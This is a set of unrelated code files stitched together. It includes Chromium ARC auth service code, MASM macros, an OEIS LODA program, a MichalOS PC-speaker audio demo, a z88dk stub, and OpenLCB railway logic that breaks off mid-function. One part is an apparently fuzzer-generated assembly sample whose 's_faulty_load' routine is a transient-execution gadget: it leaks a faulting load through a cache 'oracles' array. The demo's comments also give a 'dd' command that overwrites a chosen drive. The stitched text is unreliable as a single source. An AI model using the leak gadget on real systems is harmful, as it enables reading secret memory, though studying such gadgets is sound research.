identity_manager_->RemoveObserver(this);
}
void ArcAuthService::OnActiveDirectoryEnrollmentTokenFetched(
ArcActiveDirectoryEnrollmentTokenFetcher* fetcher,
RequestPrimaryAccountInfoCallback callback,
ArcActiveDirectoryEnrollmentTokenFetcher::Status status,
const std::string& enrollment_token,
const std::string& user_id) {
DCHECK_CURRENTLY_ON(content::BrowserThread::UI);
// |fetcher| will be invalid after this.
DeletePendingTokenRequest(fetcher);
switch (status) {
case ArcActiveDirectoryEnrollmentTokenFetcher::Status::SUCCESS: {
// Save user_id to the user profile.
profile_->GetPrefs()->SetString(prefs::kArcActiveDirectoryPlayUserId,
user_id);
// Send enrollment token to ARC.
std::move(callback).Run(
mojom::ArcAuthCodeStatus::SUCCESS,
CreateAccountInfo(true /* is_enforced */, enrollment_token,
std::string() /* account_name */,
mojom::ChromeAccountType::ACTIVE_DIRECTORY_ACCOUNT,
true /* is_managed */));
break;
}
case ArcActiveDirectoryEnrollmentTokenFetcher::Status::FAILURE: {
// Send error to ARC.
std::move(callback).Run(
mojom::ArcAuthCodeStatus::CHROME_SERVER_COMMUNICATION_ERROR, nullptr);
break;
}
case ArcActiveDirectoryEnrollmentTokenFetcher::Status::ARC_DISABLED: {
// Send error to ARC.
std::move(callback).Run(mojom::ArcAuthCodeStatus::ARC_DISABLED, nullptr);
break;
}
}
}
void ArcAuthService::OnPrimaryAccountAuthCodeFetched(
ArcAuthCodeFetcher* fetcher,
RequestPrimaryAccountInfoCallback callback,
bool success,
const std::string& auth_code) {
DCHECK_CURRENTLY_ON(content::BrowserThread::UI);
// |fetcher| will be invalid after this.
DeletePendingTokenRequest(fetcher);
if (success) {
const std::string& full_account_id = GetAccountName(profile_);
std::move(callback).Run(
mojom::ArcAuthCodeStatus::SUCCESS,
CreateAccountInfo(!IsArcOptInVerificationDisabled(), auth_code,
full_account_id, GetAccountType(profile_),
policy_util::IsAccountManaged(profile_)));
} else if (ash::DemoSession::Get() && ash::DemoSession::Get()->started()) {
// For demo sessions, if auth code fetch failed (e.g. because the device is
// offline), fall back to accountless offline demo mode provisioning.
std::move(callback).Run(
mojom::ArcAuthCodeStatus::SUCCESS,
CreateAccountInfo(true /* is_enforced */, std::string() /* auth_info */,
std::string() /* auth_name */,
mojom::ChromeAccountType::OFFLINE_DEMO_ACCOUNT,
true /* is_managed */));
} else {
// Send error to ARC.
std::move(callback).Run(
mojom::ArcAuthCodeStatus::CHROME_SERVER_COMMUNICATION_ERROR, nullptr);
}
}
void ArcAuthService::FetchSecondaryAccountInfo(
const std::string& account_name,
RequestAccountInfoCallback callback) {
DCHECK_CURRENTLY_ON(content::BrowserThread::UI);
AccountInfo account_info =
identity_manager_->FindExtendedAccountInfoByEmailAddress(account_name);
if (account_info.IsEmpty()) {
// Account is in ARC, but not in Chrome OS Account Manager.
std::move(callback).Run(mojom::ArcAuthCodeStatus::CHROME_ACCOUNT_NOT_FOUND,
nullptr /* account_info */,
true /* persistent_error */);
return;
}
const CoreAccountId& account_id = account_info.account_id;
DCHECK(!account_id.empty());
if (identity_manager_->HasAccountWithRefreshTokenInPersistentErrorState(
account_id)) {
std::move(callback).Run(
mojom::ArcAuthCodeStatus::CHROME_SERVER_COMMUNICATION_ERROR,
nullptr /* account_info */, true /* persistent_error */);
return;
}
std::unique_ptr<ArcBackgroundAuthCodeFetcher> fetcher =
CreateArcBackgroundAuthCodeFetcher(account_id,
false /* initial_signin */);
// Add the request to |pending_token_requests_| first, before starting a
// token fetch. In case the callback is called immediately, we do not want
// to add an already completed request to |pending_token_requests_|.
auto* fetcher_ptr = fetcher.get();
pending_token_requests_.emplace_back(std::move(fetcher));
fetcher_ptr->Fetch(
base::BindOnce(&ArcAuthService::OnSecondaryAccountAuthCodeFetched,
weak_ptr_factory_.GetWeakPtr(), account_name, fetcher_ptr,
std::move(callback)));
}
void ArcAuthService::OnSecondaryAccountAuthCodeFetched(
const std::string& account_name,
ArcBackgroundAuthCodeFetcher* fetcher,
RequestAccountInfoCallback callback,
bool success,
const std::string& auth_code) {
// |fetcher| will be invalid after this.
DeletePendingTokenRequest(fetcher);
if (success) {
std::move(callback).Run(
mojom::ArcAuthCodeStatus::SUCCESS,
CreateAccountInfo(true /* is_enforced */, auth_code, account_name,
mojom::ChromeAccountType::USER_ACCOUNT,
false /* is_managed */),
false /* persistent_error*/);
return;
}
AccountInfo account_info =
identity_manager_->FindExtendedAccountInfoByEmailAddress(account_name);
// Take care of the case when the user removes an account immediately after
// adding/re-authenticating it.
if (!account_info.IsEmpty()) {
const bool is_persistent_error =
identity_manager_->HasAccountWithRefreshTokenInPersistentErrorState(
account_info.account_id);
std::move(callback).Run(
mojom::ArcAuthCodeStatus::CHROME_SERVER_COMMUNICATION_ERROR,
nullptr /* account_info */, is_persistent_error);
return;
}
std::move(callback).Run(mojom::ArcAuthCodeStatus::CHROME_ACCOUNT_NOT_FOUND,
nullptr /* account_info */, true);
}
void ArcAuthService::DeletePendingTokenRequest(ArcFetcherBase* fetcher) {
DCHECK_CURRENTLY_ON(content::BrowserThread::UI);
for (auto it = pending_token_requests_.begin();
it != pending_token_requests_.end(); ++it) {
if (it->get() == fetcher) {
pending_token_requests_.erase(it);
return;
}
}
// We should not have received a call to delete a |fetcher| that was not in
// |pending_token_requests_|.
NOTREACHED();
}
void ArcAuthService::SetURLLoaderFactoryForTesting(
scoped_refptr<network::SharedURLLoaderFactory> url_loader_factory) {
url_loader_factory_ = std::move(url_loader_factory);
url_loader_factory_for_testing_set_ = true;
}
void ArcAuthService::OnDataRemovalAccepted(bool accepted) {
if (!accepted)
return;
if (!IsArcPlayStoreEnabledForProfile(profile_))
return;
VLOG(1)
<< "Request for data removal on child transition failure is confirmed";
ArcSessionManager::Get()->RequestArcDataRemoval();
ArcSessionManager::Get()->StopAndEnableArc();
}
std::unique_ptr<ArcBackgroundAuthCodeFetcher>
ArcAuthService::CreateArcBackgroundAuthCodeFetcher(
const CoreAccountId& account_id,
bool initial_signin) {
const AccountInfo account_info =
identity_manager_->FindExtendedAccountInfoByAccountId(account_id);
DCHECK(!account_info.IsEmpty());
auto fetcher = std::make_unique<ArcBackgroundAuthCodeFetcher>(
url_loader_factory_, profile_, account_id, initial_signin,
IsPrimaryGaiaAccount(account_info.gaia));
return fetcher;
}
void ArcAuthService::TriggerAccountsPushToArc(bool filter_primary_account) {
if (!ash::IsAccountManagerAvailable(profile_))
return;
const std::vector<CoreAccountInfo> accounts =
identity_manager_->GetAccountsWithRefreshTokens();
for (const CoreAccountInfo& account : accounts) {
if (filter_primary_account && IsPrimaryGaiaAccount(account.gaia))
continue;
OnRefreshTokenUpdatedForAccount(account);
}
}
void ArcAuthService::DispatchAccountsInArc(
GetGoogleAccountsInArcCallback callback) {
auto* instance = ARC_GET_INSTANCE_FOR_METHOD(arc_bridge_service_->auth(),
GetGoogleAccounts);
if (!instance) {
// Complete the callback so that it is not kept waiting forever.
std::move(callback).Run(std::vector<mojom::ArcAccountInfoPtr>());
return;
}
instance->GetGoogleAccounts(std::move(callback));
}
void ArcAuthService::OnMainAccountResolutionStatus(
mojom::MainAccountResolutionStatus status) {
UpdateMainAccountResolutionStatus(profile_, status);
}
} // namespace arc
|
save_rcx textequ <mov [rsp+16], rcx>
save_rdx textequ <mov [rsp+24], rdx>
save_r8 textequ <mov [rsp+32], r8>
save_r9 textequ <mov [rsp+48], r9>
restore_rcx textequ <mov rcx, [rsp+@LOCAL_SIZE+16]>
restore_rdx textequ <mov rdx, [rsp+@LOCAL_SIZE+24]>
restore_r8 textequ <mov r8, [rsp+@LOCAL_SIZE+32]>
restore_r9 textequ <mov r9, [rsp+@LOCAL_SIZE+48]>
save_temps macro
save_rcx
save_rdx
save_r8
save_r9
endm
restore_temps macro
restore_rcx
restore_rdx
restore_r8
restore_r9
endm
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r12
push %r14
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0x1306e, %r12
nop
nop
sub $29226, %rdx
movb (%r12), %r10b
nop
add %r14, %r14
lea addresses_A_ht+0x1e08e, %r11
nop
dec %r12
mov (%r11), %rax
nop
nop
nop
nop
nop
inc %r11
lea addresses_WT_ht+0x81ee, %r10
nop
nop
and $7987, %r11
mov (%r10), %r14d
nop
nop
sub $25478, %r12
lea addresses_WT_ht+0x337f, %rdx
nop
nop
nop
nop
cmp %rsi, %rsi
movups (%rdx), %xmm0
vpextrq $0, %xmm0, %r11
nop
nop
nop
nop
nop
and $1094, %rdx
lea addresses_normal_ht+0x1b98e, %rsi
lea addresses_WT_ht+0x11f4e, %rdi
cmp $33829, %r10
mov $15, %rcx
rep movsq
xor %rdi, %rdi
lea addresses_UC_ht+0x15cd2, %rsi
sub %r10, %r10
movl $0x61626364, (%rsi)
nop
nop
nop
nop
nop
xor %r14, %r14
lea addresses_D_ht+0x30fa, %rsi
lea addresses_WT_ht+0xc40e, %rdi
nop
xor %rdx, %rdx
mov $101, %rcx
rep movsq
nop
nop
and $58636, %rsi
lea addresses_WC_ht+0x8926, %rsi
lea addresses_normal_ht+0x1c68e, %rdi
nop
inc %r12
mov $17, %rcx
rep movsb
nop
nop
nop
dec %rdx
lea addresses_normal_ht+0x1b050, %rdi
nop
nop
and $49518, %r14
movb $0x61, (%rdi)
add %r11, %r11
lea addresses_normal_ht+0x1cd8e, %rsi
clflush (%rsi)
and $32573, %r10
mov $0x6162636465666768, %rdx
movq %rdx, (%rsi)
inc %rax
lea addresses_A_ht+0x2b0e, %rsi
xor $49300, %rdi
movl $0x61626364, (%rsi)
nop
nop
cmp %r14, %r14
lea addresses_A_ht+0xdd8e, %r12
nop
nop
nop
nop
cmp %rdi, %rdi
mov (%r12), %r14w
nop
nop
and %r11, %r11
lea addresses_A_ht+0x468e, %r12
clflush (%r12)
nop
nop
add %rdi, %rdi
mov (%r12), %r10d
nop
mfence
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r14
pop %r12
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r13
push %r15
push %rdi
push %rsi
// Faulty Load
lea addresses_WT+0x1e08e, %r10
nop
nop
xor %rsi, %rsi
vmovups (%r10), %ymm0
vextracti128 $1, %ymm0, %xmm0
vpextrq $1, %xmm0, %r15
lea oracles, %r11
and $0xff, %r15
shlq $12, %r15
mov (%r11,%r15,1), %r15
pop %rsi
pop %rdi
pop %r15
pop %r13
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'size': 16, 'AVXalign': True, 'NT': True, 'congruent': 0, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 8, 'AVXalign': False, 'NT': True, 'congruent': 11, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 2, 'same': True}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 1, 'AVXalign': False, 'NT': True, 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 2, 'AVXalign': False, 'NT': True, 'congruent': 8, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'39': 12239}
39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39
*/
|
; A241031: Sum of n-th powers of divisors of 28.
; Submitted by Christian Krause
; 6,56,1050,25112,655746,17766056,489541650,13599182072,379283617986,10599157616456,296486304875250,8297561014164632,232274972859656226,6502905234227329256,182070232515259616850,5097810928082584052792,142736527933249981742466,3996592290086275534712456,111904157238675851221206450,3133310426344766550449006552,87732608269158654731794388706,2456511860179190714522464854056,68782315686027547082108990284050,1925904609622996324653323428865912,53925325855243621927169127479546946
mov $3,2
pow $3,$0
mov $1,$3
add $1,1
mul $1,$3
mov $2,7
pow $2,$0
add $2,1
mul $1,$2
add $1,$2
mov $0,$1
|
; ------------------------------------------------------------------
; MichalOS PC Speaker PCM Demo
;
; WARNING: This demo uses the top 1.44 MB of a 2.88 MB disk.
; It is not possible to run this demo from a 1.44 MB floppy disk.
; Use the "build-linux.sh" build script, then run the following:
; > dd if=audio.raw of=disk_images/michalos.flp bs=512 seek=2880
; "audio.raw" has to contain raw uncompressed 11025 Hz single-channel 8-bit PCM audio.
; Then, boot it on a *REAL* PC. Emulators do NOT work with non-standard
; floppy image sizes.
; > sudo dd if=michalos.flp of=/dev/sdX
; (where X is a USB flash drive that you wish to overwrite)
; ------------------------------------------------------------------
%include "osdev.inc"
bits 16
org 100h
samplecount equ 2880 * 512
counter equ 0x1234DC / 22050
start:
mov byte [0082h], 1
push es
mov ax, 2000h
mov es, ax
mov bx, 0
.load_loop:
mov ax, [.current_position]
call os_disk_l2hts
mov ah, 02
mov al, 90
int 13h
mov esi, 10000h
mov edi, 0
mov di, [.current_position]
sub di, 2880
shl edi, 9 ; Multiply by 512
add edi, 100000h - 65536
.copy_loop:
mov eax, [esi]
mov [edi], eax
add esi, 4
add edi, 4
cmp esi, 1B400h ; End of loaded data
jne .copy_loop
add word [.current_position], 90
; cmp word [.current_position], samplecount / 512 + 2880 + 1
cmp word [.current_position], samplecount / 512 + 2880
jl .load_loop
pop es
; push es
; mov ax, 2000h
; mov es, ax
; mov ax, filename
; mov cx, 0
; call os_load_file
; pop es
; add ebx, 10000h
;
; mov [datasize], ebx
;; Replace IRQ0 with our sound code
mov si, tick
call os_attach_app_timer
;; Attach the PC Speaker to PIT Channel 2
in al, 0x61
or al, 3
out 0x61, al
;; Reprogram PIT Channel 0 to fire IRQ0 at 16kHz
cli
mov al, 0x36
out 0x43, al
mov ax, counter
out 0x40, al
mov al, ah
out 0x40, al
sti
;; Keep processing interrupts until it says we're done
.mainlp:
hlt
call os_check_for_key
cmp al, "1"
je .dec_volume
cmp al, "2"
je .inc_volume
cmp al, "3"
je .dec_skip
cmp al, "4"
je .inc_skip
cmp al, "5"
je .dec_tick
cmp al, "6"
je .inc_tick
cmp al, 32
je .playpause
cmp al, 27
je .exit
cmp word [done], 0
je .mainlp
.exit:
;; Restore original IRQ0
call os_return_app_timer
mov al, 0x36 ; ... and slow the timer back down
out 0x43, al ; to 18.2 Hz
xor al, al
out 0x40, al
out 0x40, al
;; Turn off the PC speaker
in al, 0x61
and al, 0xfc
out 0x61, al
;; And quit with success
ret
.playpause:
xor byte [pausestate], 1
cmp byte [pausestate], 1
je .pause
mov si, .playmsg
call os_print_string
jmp .mainlp
.pause:
mov si, .pausemsg
call os_print_string
jmp .mainlp
.inc_volume:
cmp byte [shr_value], 00h
je .mainlp
dec byte [shr_value]
mov si, .incmsg
call os_print_string
mov al, [shr_value]
call os_print_2hex
call os_print_newline
jmp .mainlp
.dec_volume:
cmp byte [shr_value], 07h
je .mainlp
inc byte [shr_value]
mov si, .decmsg
call os_print_string
mov al, [shr_value]
call os_print_2hex
call os_print_newline
jmp .mainlp
.inc_skip:
inc byte [skipbytevalue]
mov si, .incskipmsg
call os_print_string
mov al, [skipbytevalue]
call os_print_2hex
call os_print_space
mov eax, [.current_samplerate]
call os_32int_to_string
mov si, ax
call os_print_string
call os_print_newline
jmp .mainlp
.dec_skip:
dec byte [skipbytevalue]
mov si, .decskipmsg
call os_print_string
mov al, [skipbytevalue]
call os_print_2hex
call os_print_space
mov eax, [.current_samplerate]
call os_32int_to_string
mov si, ax
call os_print_string
call os_print_newline
jmp .mainlp
.inc_tick:
mov eax, [.current_samplerate]
cmp eax, 44100
je .mainlp
imul eax, 2
mov [.current_samplerate], eax
mov si, .decskipmsg
call os_print_string
mov al, [skipbytevalue]
call os_print_2hex
call os_print_space
mov eax, [.current_samplerate]
call os_32int_to_string
mov si, ax
call os_print_string
call os_print_newline
jmp .modify_tick
.dec_tick:
mov eax, [.current_samplerate]
cmp eax, 22050
je .mainlp
mov edx, 0
mov ebx, 2
div ebx
mov [.current_samplerate], eax
mov si, .incskipmsg
call os_print_string
mov al, [skipbytevalue]
call os_print_2hex
call os_print_space
mov eax, [.current_samplerate]
call os_32int_to_string
mov si, ax
call os_print_string
call os_print_newline
; jmp .modify_tick ; Unnecessary
.modify_tick:
mov eax, 1234DCh
mov ebx, [.current_samplerate]
mov edx, 0
div ebx
cli
push ax
mov al, 0x36
out 0x43, al
pop ax
out 0x40, al
mov al, ah
out 0x40, al
sti
jmp .mainlp
.current_samplerate dd 22050
.current_position dw 2880
.incmsg db 'Volume increased, current divide value: ', 0
.decmsg db 'Volume decreased, current divide value: ', 0
.incskipmsg db 'Speed decreased, current skip value/sample rate: ', 0
.decskipmsg db 'Speed increased, current skip value/sample rate: ', 0
.pausemsg db 'Playback paused', 13, 10, 0
.playmsg db 'Playback unpaused', 13, 10, 0
;; *** IRQ0 TICK ROUTINE ***
tick:
cmp byte [pausestate], 1
je .no_update_timer
mov esi, [offset]
cmp esi, datasize ; past the end?
je .nosnd
mov ah, [esi] ; If not, load up the value
mov cl, [shr_value]
shr ax, cl ; Make it a 7-bit value
cmp ah, 0
je .no_play ; If the value is 0, the PIT thinks it's actually 0x100, so it'll clip
mov al, 0xb0 ; And program PIT Channel 2 to
out 0x43, al ; deliver a pulse that many
mov al, ah ; microseconds long
out 0x42, al
mov al, 0
out 0x42, al
.no_play:
inc byte [skipbyte]
mov al, [skipbytevalue]
cmp byte [skipbyte], al
jne .no_update_timer
mov byte [skipbyte], 0
inc esi ; Update pointer
mov [offset], esi
.no_update_timer:
jmp .intend ; ... and jump to end of interrupt
;; If we get here, we're past the end of the sound.
.nosnd:
mov ax, [done] ; Have we already marked it done?
jnz .intend ; If so, nothing left to do
mov ax, 1 ; Otherwise, mark it done...
mov [done], ax
.intend:
mov ax, [subtick] ; Add microsecond count to the counter
add ax, counter
mov [subtick], ax
ret
done dw 0
offset dd 100000h - 65536
subtick dw 0
skipbyte db 0
datasize equ samplecount + 100000h - 65536
; datasize equ 1474560 + 100000h - 65536
shr_value db 2
skipbytevalue db 2
pausestate db 0
;dataptr: dd 0
;data: incbin "wow.raw" ; Up to 64KB of 16 kHz 8-bit unsigned LPCM
;dataend:
|
; sp1_DrawUpdateStructAlways(struct sp1_update *u)
SECTION code_temp_sp1
PUBLIC _sp1_DrawUpdateStructAlways
_sp1_DrawUpdateStructAlways:
pop af
pop hl
push hl
push af
INCLUDE "temp/sp1/zx/updater/asm_sp1_DrawUpdateStructAlways.asm"
|
// -!- C++ -!- //////////////////////////////////////////////////////////////
//
// System :
// Module :
// Object Name : $RCSfile$
// Revision : $Revision$
// Date : $Date$
// Author : $Author$
// Created By : Robert Heller
// Created : Fri Mar 1 10:46:51 2019
// Last Modified : <190302.1427>
//
// Description
//
// Notes
//
// History
//
/////////////////////////////////////////////////////////////////////////////
//
// Copyright (C) 2019 Robert Heller D/B/A Deepwoods Software
// 51 Locke Hill Road
// Wendell, MA 01379-9728
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software
// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
//
//
//
//////////////////////////////////////////////////////////////////////////////
static const char rcsid[] = "@(#) : $Id$";
#include "openlcb/EventHandlerTemplates.hxx"
#include "openlcb/ConfigRepresentation.hxx"
#include "utils/ConfigUpdateListener.hxx"
#include "utils/ConfigUpdateService.hxx"
#include "openlcb/RefreshLoop.hxx"
#include "openlcb/SimpleStack.hxx"
#include "executor/Timer.hxx"
#include <stdio.h>
#include "TrackCircuit.hxx"
#include "Logic.hxx"
void Variable::trigger(const TrackCircuit *caller,BarrierNotifiable *done)
{
bool changed = false;
if (caller->CurrentSpeed() == speed_) // true
{
if (value_ != true) changed = true;
value_ = true;
} else {
if (value_ != false) changed = true;
value_ = false;
}
switch (trigger_) {
case Change:
if (changed) parent_->Evaluate(which_,done);
break;
case Event:
parent_->Evaluate(which_,done);
break;
case None:
break;
}
}
ConfigUpdateListener::UpdateAction Variable::apply_configuration(int fd,
bool initial_load,
BarrierNotifiable *done)
{
AutoNotify n(done);
trigger_ = (Trigger) cfg_.trigger().read(fd);
Source source_cfg = (Source) cfg_.source().read(fd);
speed_ = (TrackCircuit::TrackSpeed) cfg_.trackspeed().read(fd);
openlcb::EventId event_true_cfg = cfg_.eventtrue().read(fd);
openlcb::EventId event_false_cfg = cfg_.eventfalse().read(fd);
if (source_cfg != source_ ||
event_true_cfg != event_true_ ||
event_false_cfg != event_false_) {
if (!initial_load && source_ == Events) {
unregister_handler();
}
int tc = ((int) source_) -1;
if (source_ != Events) {
circuits[tc]->UnregisterCallback(this);
}
source_ = source_cfg;
event_true_ = event_true_cfg;
event_false_ = event_false_cfg;
if (source_ == Events) {
register_handler();
return REINIT_NEEDED; // Causes events identify.
} else {
tc = ((int) source_) -1;
circuits[tc]->RegisterCallback(this);
}
}
return UPDATED;
}
void Variable::factory_reset(int fd)
{
CDI_FACTORY_RESET(cfg_.trigger);
CDI_FACTORY_RESET(cfg_.source);
CDI_FACTORY_RESET(cfg_.trackspeed);
}
void Variable::handle_identify_global(const openlcb::EventRegistryEntry ®istry_entry,
EventReport *event, BarrierNotifiable *done)
{
if (event->dst_node && event->dst_node != node_)
{
done->notify();
return;
}
SendAllConsumersIdentified(event,done);
done->maybe_done();
}
void Variable::handle_event_report(const EventRegistryEntry &entry,
EventReport *event,
BarrierNotifiable *done)
{
bool maybetrigger = false;
bool changed = false;
if (event->event == event_true_) {
if (value_ != true) changed = true;
value_ = true;
maybetrigger = true;
} else if (event->event == event_false_) {
if (value_ != false) changed = true;
value_ = false;
maybetrigger = true;
}
if (maybetrigger) {
switch (trigger_) {
case Change:
if (changed) parent_->Evaluate(which_,done);
break;
case Event:
parent_->Evaluate(which_,done);
break;
case None:
break;
}
}
done->maybe_done();
}
void Variable::handle_identify_consumer(const EventRegistryEntry ®istry_entry,
EventReport *event,
BarrierNotifiable *done)
{
SendConsumerIdentified(event,done);
done->maybe_done();
}
void Variable::register_handler()
{
openlcb::EventRegistry::instance()->register_handler(
openlcb::EventRegistryEntry(this, event_true_), 0);
openlcb::EventRegistry::instance()->register_handler(
openlcb::EventRegistryEntry(this, event_false_), 0);
}
void Variable::unregister_handler()
{
openlcb::EventRegistry::instance()->unregister_handler(this);
}
void Variable::SendAllConsumersIdentified(EventReport *event,BarrierNotifiable *done)
{
openlcb::Defs::MTI mti_t, mti_f;
if (value_) {
mti_t = openlcb::Defs::MTI_CONSUMER_IDENTIFIED_VALID;
mti_f = openlcb::Defs::MTI_CONSUMER_IDENTIFIED_INVALID;
} else {
mti_f = openlcb::Defs::MTI_CONSUMER_IDENTIFIED_VALID;
mti_t = openlcb::Defs::MTI_CONSUMER_IDENTIFIED_INVALID;
}
event->event_write_helper<1>()->WriteAsync(node_, mti_t, openlcb::WriteHelper::global(),
openlcb::eventid_to_buffer(event_true_),
done->new_child());
event->event_write_helper<2>()->WriteAsync(node_, mti_f, openlcb::WriteHelper::global(),
openlcb::eventid_to_buffer(event_false_),
done->new_child());
}
void Variable::SendConsumerIdentified(EventReport *event,BarrierNotifiable *done)
{
openlcb::Defs::MTI mti = openlcb::Defs::MTI_CONSUMER_IDENTIFIED_UNKNOWN;
if (event->event == event_true_) {
if (value_) {
mti = openlcb::Defs::MTI_CONSUMER_IDENTIFIED_VALID;
} else {
mti = openlcb::Defs::MTI_CONSUMER_IDENTIFIED_INVALID;
}
} else if (event->event == event_false_) {
if (!value_) {
mti = openlcb::Defs::MTI_CONSUMER_IDENTIFIED_VALID;
} else {
mti = openlcb::Defs::MTI_CONSUMER_IDENTIFIED_INVALID;
}
}
event->event_write_helper<1>()->WriteAsync(node_, mti, openlcb::WriteHelper::global(),
openlcb::eventid_to_buffer(event->event),
done->new_child());
}
void Action::trigger(BarrierNotifiable *done)
{
switch (actionTrigger_) {
case None:
case Immediately:
case ImmediateTrue:
case ImmediateFalse:
break;
case AfterDelay:
SendEventReport(done);
break;
case DelayedTrue:
if (lastLogicValue_) {
SendEventReport(done);
}
break;
